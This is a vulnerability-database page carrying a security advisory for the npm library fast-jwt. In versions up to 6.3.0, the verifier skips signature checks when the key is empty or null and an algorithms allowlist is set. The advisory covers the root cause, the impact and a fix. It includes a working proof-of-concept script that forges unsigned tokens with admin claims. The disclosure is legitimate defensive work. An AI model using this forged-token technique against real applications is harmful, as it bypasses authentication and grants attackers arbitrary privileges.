GHSA-8WPC-H4Q6-8FXV
Vulnerability from github – Published: 2026-10-08 22:02 – Updated: 2026-10-08 22:02Summary
createVerifier in fast-jwt ≤ 6.3.0 skips signature verification entirely when the key option is a falsy synchronous value ('' or null) and the algorithms option is set to a non-empty allowlist. An attacker who can present a JWT to the application — regardless of algorithm — can forge arbitrary claims without possessing any signing key.
Details
Root cause — four cooperating code paths:
A. Falsy sync keys bypass prepareKeyOrSecret
createVerifier branches on typeof key:
const keyType = typeof key
if (keyType !== 'string' && keyType !== 'object' && keyType !== 'function') {
throw new TokenError(/* ... */)
}
if (key && keyType !== 'function') {
key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0]))
}
When key is '' (string, falsy) or null (object, falsy) the outer type check passes but the if (key && ...) guard never calls prepareKeyOrSecret. The empty-secret rejection added in that function is therefore never reached for sync keys:
function prepareKeyOrSecret(key, isSecret) {
if (isSecret && key.length === 0) {
throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.')
}
return isSecret ? createSecretKey(key) : createPublicKey(key)
}
B. Explicit algorithms keeps an allowlist active with no key
When key is falsy, autodetection is skipped and the caller-supplied algorithms (e.g. ['HS256']) is retained in allowedAlgorithms. The verifier therefore accepts tokens whose header matches that list.
C. hasKey is false → missing signature is permitted
const hasKey = key instanceof Buffer ? key.length : !!key
if (hasKey && !signature) {
throw new TokenError(/* missingSignature */)
} else if (!hasKey && signature) {
throw new TokenError(/* missingKey */)
}
// !hasKey && !signature → fall through with NO crypto
An unsigned token (header.payload.) produces signature === '', which is falsy, so both branches are skipped.
D. Signature check is gated on signature being truthy
if (signature && !verifySignature(header.alg, key, input, signature)) {
throw new TokenError(/* invalidSignature */)
}
Empty signature → condition is false → verifySignature is never called.
E. Signer / verifier asymmetry
createSigner({ key: '' })/key: null→ rejectedcreateVerifier({ key: async () => '' })→ rejected (GHSA empty-secret tests)createVerifier({ key: '' | null, algorithms: [...] })→ accepted, then verifies unsigned tokens
Ironically, the security best practice of setting algorithms enables the bypass. With algorithms omitted, allowedAlgorithms stays [] and every token fails closed.
Affected versions: confirmed on 6.3.0 (current main @ 378422c).
This is an incomplete fix relative to the empty-secret hardening already applied for Buffer keys and async key functions (GHSA-gmvf lineage, PR #609).
PoC
cd /tmp && git clone --depth 1 https://github.com/nearform/fast-jwt.git && cd fast-jwt && npm install
// poc-empty-key-bypass.js
const { createVerifier } = require('.')
function unsigned(alg, claims) {
const h = Buffer.from(JSON.stringify({ alg, typ: 'JWT' })).toString('base64url')
const p = Buffer.from(JSON.stringify(claims)).toString('base64url')
return `${h}.${p}.` // trailing dot = empty signature
}
const token = unsigned('HS256', { sub: 'attacker', admin: true, role: 'root' })
// Vulnerable: key '' + explicit algorithms allowlist
const verify = createVerifier({ key: '', algorithms: ['HS256'] })
console.log(verify(token))
// → { sub: 'attacker', admin: true, role: 'root' }
// Also works for RS256 / ES256 / EdDSA allowlists and key: null
console.log(createVerifier({ key: null, algorithms: ['RS256'] })(unsigned('RS256', { admin: true })))
// → { admin: true }
// Negative controls (correctly rejected):
try { createVerifier({ key: 'secret', algorithms: ['HS256'] })(token) }
catch (e) { console.log('non-empty key:', e.code) } // FAST_JWT_MISSING_SIGNATURE
try { createVerifier({ key: '' })(token) }
catch (e) { console.log('empty key, no algorithms:', e.code) } // FAST_JWT_INVALID_ALGORITHM
try { createVerifier({ key: Buffer.alloc(0), algorithms: ['HS256'] })(token) }
catch (e) { console.log('empty Buffer:', e.code) } // FAST_JWT_INVALID_KEY
Expected: TokenError with code FAST_JWT_INVALID_KEY
Actual: payload returned with no signature check
Impact
Full authentication / authorization bypass. Any application that:
- Uses
createVerifierwithkey: ''orkey: null(common when a secret is read from an unset environment variable, e.g.process.env.JWT_SECRET || ''), and - Sets
algorithmsto a non-empty allowlist (a recommended security practice),
will accept attacker-crafted JWTs with arbitrary claims. Claim checks (exp, allowedSub, etc.) still run; only signature verification is skipped.
Suggested fix
In createVerifier, fail closed before binding the verifier:
if (keyType !== 'function') {
if (key === null || key === '' || (Buffer.isBuffer(key) && key.length === 0)) {
throw new TokenError(TokenError.codes.invalidKey,
'The key cannot be null, empty, or a zero-length buffer.')
}
}
Also guard the combination explicitly:
if (!key && allowedAlgorithms.length > 0) {
throw new TokenError(TokenError.codes.invalidKey,
'The key cannot be falsy when algorithms is set.')
}
The async path (key function resolving to '') is already hardened via prepareKeyOrSecret and does not need to change.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.3.0"
},
"package": {
"ecosystem": "npm",
"name": "fast-jwt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-107720"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T22:02:12Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`createVerifier` in fast-jwt \u2264 6.3.0 skips signature verification entirely when the `key` option is a falsy synchronous value (`\u0027\u0027` or `null`) **and** the `algorithms` option is set to a non-empty allowlist. An attacker who can present a JWT to the application \u2014 regardless of algorithm \u2014 can forge arbitrary claims without possessing any signing key.\n\n### Details\n\n**Root cause \u2014 four cooperating code paths:**\n\n**A. Falsy sync keys bypass `prepareKeyOrSecret`**\n\n`createVerifier` branches on `typeof key`:\n\n```js\nconst keyType = typeof key\nif (keyType !== \u0027string\u0027 \u0026\u0026 keyType !== \u0027object\u0027 \u0026\u0026 keyType !== \u0027function\u0027) {\n throw new TokenError(/* ... */)\n}\nif (key \u0026\u0026 keyType !== \u0027function\u0027) {\n key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0]))\n}\n```\n\nWhen `key` is `\u0027\u0027` (string, falsy) or `null` (object, falsy) the outer type check passes but the `if (key \u0026\u0026 ...)` guard never calls `prepareKeyOrSecret`. The empty-secret rejection added in that function is therefore never reached for sync keys:\n\n```js\nfunction prepareKeyOrSecret(key, isSecret) {\n if (isSecret \u0026\u0026 key.length === 0) {\n throw new TokenError(TokenError.codes.invalidKey, \u0027The key cannot be an empty string or buffer.\u0027)\n }\n return isSecret ? createSecretKey(key) : createPublicKey(key)\n}\n```\n\n**B. Explicit `algorithms` keeps an allowlist active with no key**\n\nWhen `key` is falsy, autodetection is skipped and the caller-supplied `algorithms` (e.g. `[\u0027HS256\u0027]`) is retained in `allowedAlgorithms`. The verifier therefore accepts tokens whose header matches that list.\n\n**C. `hasKey` is false \u2192 missing signature is permitted**\n\n```js\nconst hasKey = key instanceof Buffer ? key.length : !!key\n\nif (hasKey \u0026\u0026 !signature) {\n throw new TokenError(/* missingSignature */)\n} else if (!hasKey \u0026\u0026 signature) {\n throw new TokenError(/* missingKey */)\n}\n// !hasKey \u0026\u0026 !signature \u2192 fall through with NO crypto\n```\n\nAn unsigned token (`header.payload.`) produces `signature === \u0027\u0027`, which is falsy, so both branches are skipped.\n\n**D. Signature check is gated on `signature` being truthy**\n\n```js\nif (signature \u0026\u0026 !verifySignature(header.alg, key, input, signature)) {\n throw new TokenError(/* invalidSignature */)\n}\n```\n\nEmpty signature \u2192 condition is `false` \u2192 `verifySignature` is never called.\n\n**E. Signer / verifier asymmetry**\n\n- `createSigner({ key: \u0027\u0027 })` / `key: null` \u2192 **rejected**\n- `createVerifier({ key: async () =\u003e \u0027\u0027 })` \u2192 **rejected** (GHSA empty-secret tests)\n- `createVerifier({ key: \u0027\u0027 | null, algorithms: [...] })` \u2192 **accepted**, then verifies unsigned tokens\n\nIronically, the security best practice of setting `algorithms` **enables** the bypass. With `algorithms` omitted, `allowedAlgorithms` stays `[]` and every token fails closed.\n\n**Affected versions:** confirmed on 6.3.0 (current `main` @ 378422c).\nThis is an incomplete fix relative to the empty-secret hardening already applied for `Buffer` keys and `async` key functions (GHSA-gmvf lineage, PR #609).\n\n### PoC\n\n```bash\ncd /tmp \u0026\u0026 git clone --depth 1 https://github.com/nearform/fast-jwt.git \u0026\u0026 cd fast-jwt \u0026\u0026 npm install\n```\n\n```js\n// poc-empty-key-bypass.js\nconst { createVerifier } = require(\u0027.\u0027)\n\nfunction unsigned(alg, claims) {\n const h = Buffer.from(JSON.stringify({ alg, typ: \u0027JWT\u0027 })).toString(\u0027base64url\u0027)\n const p = Buffer.from(JSON.stringify(claims)).toString(\u0027base64url\u0027)\n return `${h}.${p}.` // trailing dot = empty signature\n}\n\nconst token = unsigned(\u0027HS256\u0027, { sub: \u0027attacker\u0027, admin: true, role: \u0027root\u0027 })\n\n// Vulnerable: key \u0027\u0027 + explicit algorithms allowlist\nconst verify = createVerifier({ key: \u0027\u0027, algorithms: [\u0027HS256\u0027] })\nconsole.log(verify(token))\n// \u2192 { sub: \u0027attacker\u0027, admin: true, role: \u0027root\u0027 }\n\n// Also works for RS256 / ES256 / EdDSA allowlists and key: null\nconsole.log(createVerifier({ key: null, algorithms: [\u0027RS256\u0027] })(unsigned(\u0027RS256\u0027, { admin: true })))\n// \u2192 { admin: true }\n\n// Negative controls (correctly rejected):\ntry { createVerifier({ key: \u0027secret\u0027, algorithms: [\u0027HS256\u0027] })(token) }\n catch (e) { console.log(\u0027non-empty key:\u0027, e.code) } // FAST_JWT_MISSING_SIGNATURE\n\ntry { createVerifier({ key: \u0027\u0027 })(token) }\n catch (e) { console.log(\u0027empty key, no algorithms:\u0027, e.code) } // FAST_JWT_INVALID_ALGORITHM\n\ntry { createVerifier({ key: Buffer.alloc(0), algorithms: [\u0027HS256\u0027] })(token) }\n catch (e) { console.log(\u0027empty Buffer:\u0027, e.code) } // FAST_JWT_INVALID_KEY\n```\n\n**Expected:** `TokenError` with code `FAST_JWT_INVALID_KEY`\n**Actual:** payload returned with no signature check\n\n### Impact\n\nFull authentication / authorization bypass. Any application that:\n\n1. Uses `createVerifier` with `key: \u0027\u0027` or `key: null` (common when a secret is read from an unset environment variable, e.g. `process.env.JWT_SECRET || \u0027\u0027`), **and**\n2. Sets `algorithms` to a non-empty allowlist (a recommended security practice),\n\nwill accept attacker-crafted JWTs with arbitrary claims. Claim checks (`exp`, `allowedSub`, etc.) still run; only signature verification is skipped.\n\n### Suggested fix\n\nIn `createVerifier`, fail closed before binding the verifier:\n\n```js\nif (keyType !== \u0027function\u0027) {\n if (key === null || key === \u0027\u0027 || (Buffer.isBuffer(key) \u0026\u0026 key.length === 0)) {\n throw new TokenError(TokenError.codes.invalidKey,\n \u0027The key cannot be null, empty, or a zero-length buffer.\u0027)\n }\n}\n```\n\nAlso guard the combination explicitly:\n\n```js\nif (!key \u0026\u0026 allowedAlgorithms.length \u003e 0) {\n throw new TokenError(TokenError.codes.invalidKey,\n \u0027The key cannot be falsy when algorithms is set.\u0027)\n}\n```\n\nThe async path (key function resolving to `\u0027\u0027`) is already hardened via `prepareKeyOrSecret` and does not need to change.",
"id": "GHSA-8wpc-h4q6-8fxv",
"modified": "2026-10-08T22:02:12Z",
"published": "2026-10-08T22:02:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-8wpc-h4q6-8fxv"
},
{
"type": "WEB",
"url": "https://github.com/nearform/fast-jwt/pull/649"
},
{
"type": "WEB",
"url": "https://github.com/nearform/fast-jwt/commit/e22a151e83bf6d5e54e281216982d204d5665534"
},
{
"type": "PACKAGE",
"url": "https://github.com/nearform/fast-jwt"
},
{
"type": "WEB",
"url": "https://github.com/nearform/fast-jwt/releases/tag/v6.3.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "fast-jwt: createVerifier accepts unsigned JWTs when key is \u0027\u0027 or null and algorithms is explicitly set"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.